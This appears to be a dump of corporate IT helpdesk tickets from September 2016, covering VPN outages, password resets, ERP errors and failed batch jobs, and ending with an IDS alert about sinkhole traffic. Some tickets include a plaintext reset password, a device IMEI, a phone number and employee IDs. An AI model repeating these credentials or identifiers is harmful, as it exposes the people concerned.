job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 09/20/2016 05:40:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: brauche freigabe fÃ¼r m:\skv-alicona., Description: brauche freigabe fÃ¼r m:\skv-alicona. /lxfnwyuv bqmjyprz, is assigned to Assignment group: GRP\_12.Ticket with Short description: bitte freigabe fÃ¼r m:\skv-alicona einrichten., Description: bitte freigabe fÃ¼r m:\skv-alicona einrichten. /nfybpxdg yjtdkfuo, is assigned to Assignment group: GRP\_12.Ticket with Short description: bitte freigabe fÃ¼r m:\skv-alicona einrichten., Description: bitte freigabe fÃ¼r m:\skv-alicona einrichten. /rhaycqjg arcgonvy, is assigned to Assignment group: GRP\_12.Ticket with Short description: www.company.com web site - engineering\_tool "product selector" link reported as not working, Description: mikhghytr kinsella has reported that the "product selector" link does not work www.company.com home page\_x000D\_
it allows selection as far as material type and then goes to a contacts page, is assigned to Assignment group: GRP\_51.Ticket with Short description: erp & other internet service are slow for all users, Description: erp & other internet service are slow for all users, is assigned to Assignment group: GRP\_4.Ticket with Short description: ainw8911993 new india patching\_antivirus\_sw desktop server is down, Description: this pc is offline since 30th aug., is assigned to Assignment group: GRP\_19.Ticket with Short description: unable to download engineering\_tools ., Description: \_x000D\_
\_x000D\_
received from: vkezwolt.fgnqzeai@gmail.com\_x000D\_
\_x000D\_
kindly look into , unable to extract and open engineering\_tool files.\_x000D\_
\_x000D\_
please revert back with top priority and same case studies are required to be discussed.\_x000D\_
\_x000D\_
get the below error.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image004.jpg@01SID\_3534d.2ab61030]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_25.Ticket with Short description: job Job\_3182 failed in job\_scheduler at: 09/20/2016 05:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3182 failed in job\_scheduler at: 09/20/2016 05:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: bitte die drucker umstellen und konfigurieren, Description: bitte die drucker umstellen und konfigurieren /vaigycet jtgmpdcr, is assigned to Assignment group: GRP\_24.Ticket with Short description: error message during route card release, Description:
received from: phqwmniy.kjucgqom@gmail.com
hello,
while route card release error message appearing and route card not get printed:
[cid:image001.jpg@01SID\_3534a.f3add890]
required help in resolving the issue,
[cid:image002.png@01SID\_3534a.f3add890]
p please do not print this email unless it is absolutely necessary. spread environmental awareness.
confidentiality caution: this communication (including any accompanying documents) is intended only for the sole use of the person(s) to whom it is addressed and may contain information that is privileged,confidential and exempt from disclosure. any unauthorised reading,dissemination ,distribution,duplication of this communication by someone other than the intended recipient is strictly prohibited. if your receipt of this communication is in error,please notify the sender and destrtgoy the original communication immediately., is assigned to Assignment group: GRP\_45.Ticket with Short description: erp net weaver funktioniert nicht. pc: empw7000230, Description: erp net weaver funktioniert nicht. pc: empw7000230, is assigned to Assignment group: GRP\_0.Ticket with Short description: telefon defekt. gigaset charger for sl3 professional. chargeur posrt poste 8010 sl3; , Description: ft584095 octophon sl3 prof. ladeschale mnr 51346687; s30852-s1982-r141-5; telefonnummer: 09279-80419; bÃ¼ro prozessflussverantwortliche scdp, is assigned to Assignment group: GRP\_33.Ticket with Short description: wrong printing on awa voucher inwarehouse\_tools , Description: hello, when awa 81408476 - order with voucher - the printing says the discount is 130% - which is wrong. please check and correct this. example in attachment. , is assigned to Assignment group: GRP\_13.Ticket with Short description: erp frequent disconnections, Description: \_x000D\_
\_x000D\_
received from: rgtarthi.erjgypa@company.com\_x000D\_
\_x000D\_
hello help,\_x000D\_
\_x000D\_
there is frequent disconnections in erp & is very slow also.\_x000D\_
please have it checked at the earliest. , is assigned to Assignment group: GRP\_4.Ticket with Short description: unable to login to windows , Description: unable to login to windows
error :- domain controller logon balancing error
contact no:-
mobile:-
location :-germany (germany)
, is assigned to Assignment group: GRP\_19.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 09/20/2016 04:09:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 09/20/2016 04:09:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: erp SID\_34 password reset., Description: erp SID\_34 password reset., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2406b failed in job\_scheduler at: 09/20/2016 04:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2406b failed in job\_scheduler at: 09/20/2016 04:00:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: passwort ist abgelaufen. bitte reset einleiten. auch fÃ¼r das iphone., Description: passwort ist abgelaufen. bitte reset einleiten. auch fÃ¼r das iphone. /jxphgfmb gjbtuwek, is assigned to Assignment group: GRP\_24.Ticket with Short description: erp SID\_1 access, Description: while starting erp SID\_1 i get an error logon balancing error 88
see attachment
this is for user vadnhyt and stegyhui and manjhyt
, is assigned to Assignment group: GRP\_0.Ticket with Short description: india kirty, packet drops on telecom\_vendor\_1 link since at 12:48 am et on 9/20. telecom\_vendor\_1#24090835 , Description: india kirty, packet drops on telecom\_vendor\_1 link since at 12:48 am et on 9/20., is assigned to Assignment group: GRP\_8.Ticket with Short description: erp business\_client ä¸èƒ½ä½¿ç”¨ï¼Œæ›´æ–°msdotnet\_461\_business\_client\_50\_SID\_792ã€‚, Description: æ›´æ–°msdotnet\_461\_business\_client\_50\_SID\_792 ., is assigned to Assignment group: GRP\_31.Ticket with Short description: please check order# 35042103 - voucher v-00011418, Description: the order header is showing this voucher code, and the line item details are also showing this voucher code under "additional data b". nevertheless, table vbap-zzcmpgn\_id is empty.\_x000D\_
the printed acknowledgement and inwarehouse\_tool are not referring this voucher code, but pricing has considered the voucher discount.\_x000D\_
something is not correct....\_x000D\_
\_x000D\_
if voucher is not relevant for this customer/ship-to, then it should not consider voucher discount., is assigned to Assignment group: GRP\_13.Ticket with Short description: HostName\_894 : volume: c:\ label:sys-HostName\_894 28385a7b is over 85% space consumed. space available: 4.6 g, Description: HostName\_894 : volume: c:\ label:sys-HostName\_894 28385a7b is over 85% space consumed. space available: 4.6 g, is assigned to Assignment group: GRP\_39.Ticket with Short description: request, Description:
received from: yxliakph.soucfnqe@gmail.com
sir,
the salary slip user id is locked for our apprentice jahtyuj-with id no: 20286786.
pl. help to retrieve the same
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: i can't reiceve e-mail form my mobile phone., Description: could you reset my company mobile phone. details are below.\_x000D\_
\_x000D\_
cihaz modeli: iphone7c2\_x000D\_
cihaz tÃ¼rÃ¼: iphone\_x000D\_
cihaz kimliÄŸi: 8hnorau8ap7era614bd7lb3t7c\_x000D\_
cihaz iÅŸletim sistemi: ios 10.0.sartlgeo lhqksbdx4a403\_x000D\_
cihaz kullanÄ±cÄ± aracÄ±sÄ±: apple-iphone7c2/1401.403\_x000D\_
cihaz imei: 352090078991606\_x000D\_
exchange activesync sÃ¼rÃ¼mÃ¼: 16.1\_x000D\_
cihaz eriÅŸim durumu: quarantined\_x000D\_
cihaz eriÅŸim durumu nedeni: global\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: cant create a delivery note for a stock transfer, Description: SID\_34\_x000D\_
create a delivery note for mm6339959 (5018954001) sto to apac\_x000D\_
see error message on att.\_x000D\_
, is assigned to Assignment group: GRP\_6.Ticket with Short description: add printer ag25 10.165.44.227, Description: \_x000D\_
\_x000D\_
received from: sbgvrncj.idfhtoqv@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
i am trying to add this printer but i receive the following message.\_x000D\_
please enable it so that i can connect to this printer which is in the erp room here in germany, where i am attending a workshop for 2 weeks until 1 october.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_3531d.293ae2b0]\_x000D\_
\_x000D\_
many , is assigned to Assignment group: GRP\_0.Ticket with Short description: telephony\_software - description, Description: telephony\_software - department description\_x000D\_
\_x000D\_
for the germany users the description of the department was updated to ifbg.\_x000D\_
as we would have expected cfc (customer fulfillment center) instead please let me know what it stands for and for what reason it has been changed., is assigned to Assignment group: GRP\_0.Ticket with Short description: please fix the issues mentioned under description in SID\_34. swathi and you coordinate and work on it please.., Description: 1) sm21 - transaction canceled fp 045 ( vbkpf 5432 2016 3611112300 )\_x000D\_
\_x000D\_
2) sm21 - nieconn\_refused(-10),remote communication failure with partner \_x000D\_
\_x000D\_
3) SID\_183 - update terminated - system error: j\_1b\_nfe\_update\_xblnr .error during update table bkpf, is assigned to Assignment group: GRP\_14.Ticket with Short description: erp ticket , Description: erp ticket, is assigned to Assignment group: GRP\_0.Ticket with Short description: wireless access companyguest request, Description:
received from: sbgvrncj.idfhtoqv@gmail.com
hello,
please usa kahrthyeuiuiw koithc from hr\_tool wireless access for germany germany from 20-23 september and confirm when done.
kathatryuna.koithc@hr\_tool.com<mailto:kathatryuna.koithc@hr\_tool.com> sctqwgmj yambwtfk
many , is assigned to Assignment group: GRP\_0.Ticket with Short description: vsbhyrt is unable to open eng engineering tool nor able to log in to password\_management\_tool to reset passwords -, Description: vsbhyrt is unable to open eng engineering tool nor able to log in to password\_management\_tool to reset passwords -\_x000D\_
pls help.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to browse company collaboration\_platform site, Description: unable to browse company collaboration\_platform site, is assigned to Assignment group: GRP\_19.Ticket with Short description: job Job\_1148 failed in job\_scheduler at: 09/20/2016 01:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1148 failed in job\_scheduler at: 09/20/2016 01:15:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: reset password for erp SID\_34 production - user id = laijuttr, Description: \_x000D\_
\_x000D\_
received from: wyxqkzmf.urigtqnp@gmail.com\_x000D\_
\_x000D\_
hi help desk\_x000D\_
\_x000D\_
kindly help to reset my password for SID\_34 production as i am not able to login after changed password this morning. , is assigned to Assignment group: GRP\_0.Ticket with Short description: he is not able to click on the icons., Description: he is not able to click on the icons. he is able to login to citrix. please refer to the screenshot., is assigned to Assignment group: GRP\_12.Ticket with Short description: re: ticket\_no1551447 -- comments added, Description:
received from: peuckbvr.tjihmgsv@gmail.com
hello bohyub & pradtheyp,
yesterday jaya conveyed all that we discussed about changes required in graphics portal.
all requirements are fulfilled, you please go-ahead and change.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to engineering tool , Description: unable to login to engineering tool , is assigned to Assignment group: GRP\_0.Ticket with Short description: beim benutzer klarp am pc evhw8114323 funktioniert das erp nicht richtig., Description: er hat sich bereits am pc evhw8114113 geuacyltoe hxgayczeet und da funktioniert es einwandfrei., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to erp SID\_34 account , Description: unable to login to erp SID\_34 account , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1330 failed in job\_scheduler at: 09/20/2016 00:13:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1330 failed in job\_scheduler at: 09/20/2016 00:13:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account locked , Description: erp SID\_34 account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: crm portal login issue\_ kxmidsga zokivdfa, Description: \_x000D\_
\_x000D\_
received from: kxmidsga.zokivdfa@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
\_x000D\_
i am not able to access the "crm" portal. please do the need full.\_x000D\_
\_x000D\_
screen shot of error attached.\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_35321.1ca7c050]\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_22.Ticket with Short description: job Job\_1141 failed in job\_scheduler at: 09/19/2016 23:45:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1141 failed in job\_scheduler at: 09/19/2016 23:45:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: computer running slow , Description: computer running slow , is assigned to Assignment group: GRP\_31.Ticket with Short description: erp , Description: \_x000D\_
\_x000D\_
received from: hmjdrvpb.komuaywn@gmail.com\_x000D\_
\_x000D\_
hi it,\_x000D\_
\_x000D\_
i regularly have trouble with erp lagging, particularly it seems after 12pm our time.\_x000D\_
last week, especially friday it was very bad all day.\_x000D\_
yesterday and today, again it seems to lag after that 12 noon time.\_x000D\_
this is becoming continuously embarrassing during phone calls when i am required to search for stock or quote/order over the phone as i have to apologise for the system taking so long.\_x000D\_
\_x000D\_
there are two other csr's in the building, uisewznr ewtmkphs rarely has the same trouble (his system seems faster though), much faster than mine or duoyrpvi wgjpviul, amy's system will lag but not as much as mine.\_x000D\_
\_x000D\_
can you please shed some light on this scenario?\_x000D\_
\_x000D\_
note: it is more convenient for this office if i can be contacted mid/late mornings.\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_14.Ticket with Short description: shipping dashbankrd - data/information not displayed when i select "previous week"., Description: shipping dashbankrd - tabs which have data refresh issue: (maybe data is not being refreshed daily or something has broken with respect to daily extraction"\_x000D\_
freight cost- region analysis\_x000D\_
packages dashbankrd\_x000D\_
%total freight cost by sales org and shipping location\_x000D\_
export indicator analysis\_x000D\_
delivery type analysis\_x000D\_
carrier wise analysis\_x000D\_
shipping statistics\_x000D\_
\_x000D\_
data is not being refreshed daily as i can't find reports when i select "previous week"., is assigned to Assignment group: GRP\_9.Ticket with Short description: vpn not working- vpn.company.com link is giving error, Description: vpn not working- vpn.company.com link is giving error, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2555 failed in job\_scheduler at: 09/19/2016 22:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2555 failed in job\_scheduler at: 09/19/2016 22:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: problems with ap vpn, Description: \_x000D\_
\_x000D\_
received from: elixsfvu.pxwbjofl@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
i have problems using ap vpn from home.\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_35323.a62bff10]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: kis documents will not generate because the sto has no pricing., Description: kis documents will not generate because the sto has no pricing.\_x000D\_
dn 9169203442 sto 4908112195, is assigned to Assignment group: GRP\_18.Ticket with Short description: wrong unit price on inwarehouse\_tool , Description: \_x000D\_
\_x000D\_
received from: ovhtgsxd.dcqhnrmy@gmail.com\_x000D\_
\_x000D\_
it help,\_x000D\_
\_x000D\_
we have one shipment from apac to indonesia as attachment. the unit price is 67.89 on the inwarehouse\_tool from erp, but it should be 0.04/pcs.\_x000D\_
\_x000D\_
can you check what caused the wrong price on inwarehouse\_tool?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: ç”µè„‘æ— æ³•è¿žæŽ¥å…¬å…±ç›˜ï¼Œè¯·å¸®æˆ‘è½¬ç»™å°è´º, Description: ç”µè„‘æ— æ³•è¿žæŽ¥å…¬å…±ç›˜ï¼Œè¯·å¸®æˆ‘è½¬ç»™å°è´º, is assigned to Assignment group: GRP\_30.Ticket with Short description: usa pc companyst-apc-01 in the pvd area cannot connect to \\srvlavstorage01\groups but can connect to the internet, Description: usa pc companyst-apc-01 in the pvd area needs to be on the network in order to print to the printers in pvd., is assigned to Assignment group: GRP\_3.Ticket with Short description: vpn not working- vpn.company.com link is giving error, Description: vpn not working- vpn.company.com link is giving error, is assigned to Assignment group: GRP\_0.Ticket with Short description: nan, Description: -user unable tologin to vpn.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login to the company vpn using the vpn company vpn link.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: i am not able to log into my vpn. when i am trying to open a new session it is going to the "your session is finished" p, Description: name:mehrugshy
language:
browser:microsoft internet explorer
email:dcvphjru.ybomrjst@gmail.com
customer number:
telephone:
summary:i am not able to log into my vpn. when i am trying to open a new session it is going to the "your session is finished" page, is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn not working- vpn.company.com link is giving error, Description: vpn not working- vpn.company.com link is giving error, is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn not working- vpn.company.com link is giving error, Description: vpn not working- vpn.company.com link is giving error, is assigned to Assignment group: GRP\_0.Ticket with Short description: nan, Description: -user unable tologin to vpn.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login to the company vpn using the vpn company vpn link.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn connectivity, Description: \_x000D\_
\_x000D\_
received from: gmrxwqlf.vzacdmbj@gmail.com\_x000D\_
\_x000D\_
i can't reconnect to the vpn. i hit click here and screen does not change. i tried closing and relaunching and have some result. i tried restarting my computer and have same result.\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_35295.4882bb80]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: referencing ticket ticket\_no1499477. customer is stating the barcodes are not scannable on the label. , Description: please revisit ticket ticket\_no1499477 and review the fastenal label as the customer is claiming the barcode that we output from from the zebra(z1) printers do not scan. will need to replicate the barcode located on the labels that we currently output from the datamax (m1).\_x000D\_
\_x000D\_
see attached., is assigned to Assignment group: GRP\_20.Ticket with Short description: vpn not working- vpn.company.com link is giving error, Description: vpn not working- vpn.company.com link is giving error, is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn not working- vpn.company.com link is giving error, Description: vpn not working- vpn.company.com link is giving error, is assigned to Assignment group: GRP\_0.Ticket with Short description: nan, Description: -user unable tologin to vpn.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login to the company vpn using the vpn company vpn link.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access na vpn, Description: when i click on "click here" to enter a new session the screen just repeats itself instead of prompting for user id and password as it usually does. i am able to use euro vpn through a link provided to me by email., is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn , Description:
received from: oetlgbfw.bsctrnwp@gmail.com
are we having vpn issues i can't get logged in to vpn
dthyan matheywtyuews
sales manager gl2
oetlgbfw.bsctrnwp@gmail.com<mailto:oetlgbfw.bsctrnwp@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn not working- vpn.company.com link is giving error, Description: vpn not working- vpn.company.com link is giving error, is assigned to Assignment group: GRP\_0.Ticket with Short description: germany steel plant the programdnty EU\_tool does not run. +499433255366, Description: name:cfokqnhz notxygdz
language:
browser:microsoft internet explorer
email:cfokqnhz.notxygdz@gmail.com
customer number:
telephone:0
summary:hello,
in germany steel plant the programdnty EU\_tool does not run.
please check the programdnty!
, is assigned to Assignment group: GRP\_25.Ticket with Short description: vpn not working, Description: vpn not working, is assigned to Assignment group: GRP\_0.Ticket with Short description: nan, Description: -user unable tologin to vpn.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login to the company vpn using the vpn company vpn link.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn login issue., Description: vpn login issue.\_x000D\_
-user unable tologin to vpn.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login to the company vpn using the vpn company vpn link.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: user unable tologin to vpn., Description: name:lizhwdoe mjudivse
language:
browser:microsoft internet explorer
email:lizhwdoe.mjudivse@gmail.com
customer number:
telephone:
summary:can't login in to vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: nan, Description: name:wvqgbdhm fwchqjor
language:
browser:microsoft internet explorer
email:wvqgbdhm.fwchqjor@gmail.com
customer number:
telephone:-not available
summary:can't get into vpn - need to be on at 4:30 est and it wont' happen please help aerp!, is assigned to Assignment group: GRP\_0.Ticket with Short description: error login on to the SID\_34 system., Description: error login on to the SID\_34 system.\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-user has tried the password\_management\_tool pwd manager.\_x000D\_
-unlocked and reset the erp id to"daypay3".\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: my distributor\_tool account is not working ! my dashbankrd is gone/ i cannot select sales org/ cannot select customers, Description: my distributor\_tool account is not working ! my dashbankrd is gone/ i cannot select sales org/ cannot select customers, is assigned to Assignment group: GRP\_0.Ticket with Short description: access to tjlizqgc ngvwoukp' calendars , Description: name:xmeytziq dcgwuvfk
language:
browser:microsoft internet explorer
email:xmeytziq.dcgwuvfk@gmail.com
customer number:
telephone:
summary:i need to get access to tjlizqgc ngvwoukp calendar i have taken over the ehs duties here in usa as well as usa indiana., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to see name in engineering\_tool, Description: unable to see name in engineering\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_861712, Description: ticket update on inplant\_861712, is assigned to Assignment group: GRP\_0.Ticket with Short description: mii password reset, Description: name:itclukpe aimcfeko
language:
browser:microsoft internet explorer
email:itclukpe.aimcfeko@gmail.com
customer number:
telephone:
summary:need user name and password reset for mii for wpcatozg roceshun em#21111123
his current id and password will let him log in the system but not in mii, is assigned to Assignment group: GRP\_0.Ticket with Short description: crm add-in for outlook, Description: \_x000D\_
\_x000D\_
received from: pnhlrfao.ivjxlyfz@gmail.com\_x000D\_
\_x000D\_
global it team,\_x000D\_
\_x000D\_
i do not currently have connectivity between crm and microsoft outlook on my company computer. we are now required to begin to link emails and contact information between outlook and crm and without the crm add-in working on my device, i am currently unable to do this . please open a ticket to get this completed. , is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset for zqbgmfle.wrkmieao@gmail.com, Description: password reset for zqbgmfle.wrkmieao@gmail.com, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_861691, Description: ticket update on inplant\_861691, is assigned to Assignment group: GRP\_0.Ticket with Short description: distributor\_tool and engineering\_tool do not show inventory for mm 5387556, Description: distributor\_tool and engineering\_tool do not show inventory for mm 6498667, even though mmbe transaction shows unrestricted stock in plant\_101 and dvw1.\_x000D\_
other mm numbers such as 6498662 or 4870484 do not have this issue.\_x000D\_
not sure if there are other mm numbers where we do have stock but distributor\_tool and engineering\_tool aren't seeing such stock.\_x000D\_
\_x000D\_
please see attached email for background and attached screenshots from materials\_managementbe transaction, engineering\_tool and distributor\_tool.\_x000D\_
, is assigned to Assignment group: GRP\_21.Ticket with Short description: unable to connect to ca07 printer, Description: unable to connect to ca07 printer, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp access issue, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_1\_x000D\_
\_x000D\_
enter user id of user having the issue: bakertm\_x000D\_
\_x000D\_
transaction code(s) the user needs or was working with: \_x000D\_
\_x000D\_
describe the issue: userid no longer active for SID\_1. reset passwords with password\_management\_tool - all changed but SID\_1 as userid no longer active. please allow access as needed for erp mii uacyltoe hxgayczeing.\_x000D\_
\_x000D\_
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.\_x000D\_
\_x000D\_
provide access the same as this other user:, is assigned to Assignment group: GRP\_2.Ticket with Short description: re: ticket\_no1551447 -- comments added, Description: \_x000D\_
\_x000D\_
received from: svlcqmnb.qlwerhxt@gmail.com\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_53.Ticket with Short description: csqe - automatic knowledge base sync, Description: we want to setup erp to automatically sync and push updated knowledge bases to the ipc/configair server space.\_x000D\_
this is a standard practice, to not require network admin to do that manually, which also is to eliminate various compatibility issues from doing that manually with extracted files.\_x000D\_
for setup in each system in turn, SID\_21, SID\_1, and SID\_34 for change/delta moves to configair servers from erp updates., is assigned to Assignment group: GRP\_14.Ticket with Short description: cannot print anymore on tc78, Description: printer is asking for trusted source and driver install but does still not work after update..., is assigned to Assignment group: GRP\_0.Ticket with Short description: locked out on the crm account, Description: locked out on the crm account, is assigned to Assignment group: GRP\_0.Ticket with Short description: access to drawings in net weaver, Description: name:jashyht mkuhtyhui
language:
browser:microsoft internet explorer
email:jhxwiply.midhcnze@gmail.com
customer number:
telephone:
summary:i have erp netweaver business client but i am unable to pull up drawings. i have seen coworker screens and they look similar but the drawing tab is missing on mine, is assigned to Assignment group: GRP\_0.Ticket with Short description: crm - outlook , Description: \_x000D\_
\_x000D\_
received from: uvorgwts.mlqzaicb@gmail.com\_x000D\_
\_x000D\_
hello i.t. team,\_x000D\_
\_x000D\_
i need to get my outlook and crm remfg\_toolted. please reach out to me as soon as possible.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: crm/outlook, Description:
received from: zolnubvq.ehrqifxp@gmail.com
i no longer have the crm portion or add on in my outlook. i need to have this installed.
login webdhyt
employee number 60676837
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: crm add-in / outlook, Description: \_x000D\_
\_x000D\_
received from: mdbegvct.dbvichlg@gmail.com\_x000D\_
\_x000D\_
hi it â€“ i'm not seeing the crm options in my outlook. please let me know how i can get that working as i have to be in dallas next monday for training. , is assigned to Assignment group: GRP\_0.Ticket with Short description: crm addin in outook , Description: i need to have crm addin in outlook to perform my daily job functions moving forward, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_861658, Description: ticket update on inplant\_861658, is assigned to Assignment group: GRP\_0.Ticket with Short description: sent items folder not showing up in outlook., Description: sent items folder not showing up in outlook., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3045\_ap failed in job\_scheduler at: 09/19/2016 11:39:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3045\_ap failed in job\_scheduler at: 09/19/2016 11:39:00, is assigned to Assignment group: GRP\_45.Ticket with Short description: unable to fill the expense report form for employee, Description: unable to fill the expense report form for employee, is assigned to Assignment group: GRP\_2.Ticket with Short description: quotation printing incorrect voucher discount, Description: see attached example - 3116245007. discount applied was 57.5%, but quote copy is showing 115%. not sure where the pdf is picking up the additional 57.5%.\_x000D\_
\_x000D\_
also see example 3116220390. this will show the print on 8/29 was correct, and what was printed today is not. did something move over the weekend that can be backed out??\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: ticket\_no1543461 - ticket update, Description: ticket\_no1543461 - ticket update, is assigned to Assignment group: GRP\_0.Ticket with Short description: sfb issue , Description:
summary:unable to log into skype calls, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket\_no1546770 - ticket update, Description: ticket\_no1546770 - ticket update, is assigned to Assignment group: GRP\_0.Ticket with Short description: update on ticket\_no1542996 , Description: update on ticket\_no1542996 , is assigned to Assignment group: GRP\_0.Ticket with Short description: reset password for hana systems SID\_60,SID\_59 for user id : bollmam, Description: reset password for hana systems SID\_60,SID\_59 for user id : bollmam.\_x000D\_
kindly make it on priority basis., is assigned to Assignment group: GRP\_53.Ticket with Short description: please delete sm35 job, Description: same issue as inc1512788\_x000D\_
\_x000D\_
please delete rm\_eb1160912, is assigned to Assignment group: GRP\_5.Ticket with Short description: sandplant\_162 - fc9/15 Â· drlab HostName\_1175 is down since 09:53 pm et on 09/19, Description: sandplant\_162 - fc9/15 Â· drlab HostName\_1175 is down since 09:53 pm et on 09/19, is assigned to Assignment group: GRP\_8.Ticket with Short description: terhyury jerhtyua, employee of usa, is locked out of mii - please unlock and verify if employee has more than SID\_34 access, Description: terhyury jerhtyua, employee of usa, is locked out of mii - please unlock and verify if employee has more than SID\_34 access\_x000D\_
employee is unable to report production and capture value add data on mii , is assigned to Assignment group: GRP\_0.Ticket with Short description: schdule name:"final" in job\_scheduler :batch job documentation needs to be updated, Description: schdule name:"final" in job\_scheduler :batch job documentation needs to be updated, is assigned to Assignment group: GRP\_8.Ticket with Short description: sfb issue , Description: can't access skype for business 2015\_x000D\_
comes up with message "c:/programdnty files/microsoft office 15/root/office 15/lync.exe, is assigned to Assignment group: GRP\_0.Ticket with Short description: security incidents - ( #in33805815) : possible malware infection - traffic from sinkhole domain to apul7700790, Description: =========================\_x000D\_
event data\_x000D\_
=========================\_x000D\_
related events: \_x000D\_
event id: 94661793\_x000D\_
event summary: 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset\_x000D\_
occurrence count: 2\_x000D\_
event count: 1\_x000D\_
\_x000D\_
host and connection information\_x000D\_
source ip: 195.22.28.222\_x000D\_
source port: 80\_x000D\_
source ip geolocation: lisbon, prt\_x000D\_
destination ip: 71.58.38.9639\_x000D\_
destination hostname: apul8811801 \_x000D\_
destination port: 51547\_x000D\_
connection directionality: incoming\_x000D\_
protocol: tcp\_x000D\_
http status code: 302\_x000D\_
\_x000D\_
device information\_x000D\_
device ip: 80.68.49.4169\_x000D\_
device name: isensor05.company.com\_x000D\_
log time: 2016-09-19 at 02:13:00 utc\_x000D\_
action: not blocked\_x000D\_
vendor eventid: 2422739\_x000D\_
cvss score: -1 \_x000D\_
vendor priority: 2\_x000D\_
vendor version: 7\_x000D\_
\_x000D\_
scwx event processing information\_x000D\_
sherlock rule id (sle): 699417\_x000D\_
inspector event id: 880503574\_x000D\_
ontology id: 200020003203755736\_x000D\_
event type id: 200020003203582148\_x000D\_
agent id: 102835\_x000D\_
\_x000D\_
event detail:\_x000D\_
[\*\*] [1:21163262:2] 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset [\*\*]\_x000D\_
[classification: none] [priority: 2] [action: accept] [impact\_flag: 0] [impact: 0] [blocked: 0] [vlan: 0] [mpls label: 0] [pad2: 1]\_x000D\_
[sensor id: 606873][event id: 2422739][time: 2585362291.144214]\_x000D\_
